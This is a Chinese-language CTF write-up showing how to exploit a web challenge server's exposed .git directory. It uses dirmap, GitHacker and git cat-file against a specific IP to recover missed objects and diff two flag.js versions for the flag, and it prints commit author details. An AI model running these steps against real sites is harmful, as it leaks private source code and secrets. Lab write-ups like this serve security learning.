使用掃描工具掃描
python3 dirmap.py -i http://106.75.72.168:9999/ -lcf
發現存在/.git/文件

使用GitHacker獲取泄露的信息
python GitHacker.py http://106.75.72.168:9999/.git/

查看flag.js文件
cat flag.js
發現是一襲混淆的代碼

重新審視賽題
獲取遺漏的object
本題的考點原意是.git/logs/HEAD文件的利用,而githack並沒有對其中的hash提取,因此遺漏了部分的object
這里使用JGitHack是可以獲取到這些遺漏的object(這里不知道為什么我在windows10上無法正常使用)

手工提取object
這里使用git的底層命令,cat-file和ls-tree
cat-file
發現b5dfb5846ad5a81ebf6104d5230728cbf48d653b與9ee4dcc90211b7c2dc3e5639a0296aecb730b48c的文件名相同但是hash不同
root@bogon:#git cat-file -p 887746652d1084c47682b6e1b46bbc37c9315663 d1084c47682b6e1b46bbc37c9315663 tree b5dfb5846ad5a81ebf6104d5230728cbf48d653b author yichinzhu <787954349@qq.com> 1494432951 +0800 committer yichinzhu <787954349@qq.com> 1494432951 +0800 finish
root@bogon:#git cat-file -p 09e053a355059e89b4367024578c477e022ac6d6 tree 9ee4dcc90211b7c2dc3e5639a0296aecb730b48c parent 887746652d1084c47682b6e1b46bbc37c9315663 author yichinzhu <787954349@qq.com> 1494434367 +0800 committer yichinzhu <787954349@qq.com> 1494434367 +0800 the dev branch is for developing
root@bogon:#git cat-file -p b5dfb5846ad5a81ebf6104d5230728cbf48d653b 100644 blob f2b45f1e5af6dc1a8607c11e4ddc5fd077276c45 flag.js 100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c flag.php 100644 blob b87380749e1c45195483373cc0061547f344900c index.php
root@bogon:#git cat-file -p 9ee4dcc90211b7c2dc3e5639a0296aecb730b48c 100644 blob 04bb09bb63fe48e6cab3e1c72a7ef51dda9634b8 flag.js 100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c flag.php 100644 blob b87380749e1c45195483373cc0061547f344900c index.php
root@bogon:#git cat-file -p b87380749e1c45195483373cc0061547f344900c <html> <head> <title> </title> </head> <script src="flag.xmas.js"></script> <h1>Hello, World!</h1>
ls-tree
root@bogon:#git ls-tree b5dfb5846ad5a81ebf6104d5230728cbf48d653b 100644 blob f2b45f1e5af6dc1a8607c11e4ddc5fd077276c45 flag.js 100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c flag.php 100644 blob b87380749e1c45195483373cc0061547f344900c index.php root@bogon:#git ls-tree 9ee4dcc90211b7c2dc3e5639a0296aecb730b48c 100644 blob 04bb09bb63fe48e6cab3e1c72a7ef51dda9634b8 flag.js 100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c flag.php 100644 blob b87380749e1c45195483373cc0061547f344900c index.php
下載兩個hash不同的文件
因為hash不同代表這兩個文件肯定被修改過,所以下載下來查看有哪些部分被修改
使用命令git cat-file
root@bogon:#git cat-file blob f2b45f1e5af6dc1a8607c11e4ddc5fd077276c45 > f2b45f1.js
root@bogon:#git cat-file blob 04bb09bb63fe48e6cab3e1c72a7ef51dda9634b8 > 04bb09b.js

對比兩個文件
發現改變的地方就是flag,鏈接起來提交即可





TIPS
如果你使用Git_Extract可以直接提取到兩個js文件
python git_extract.py http://106.75.72.168:9999/.git/

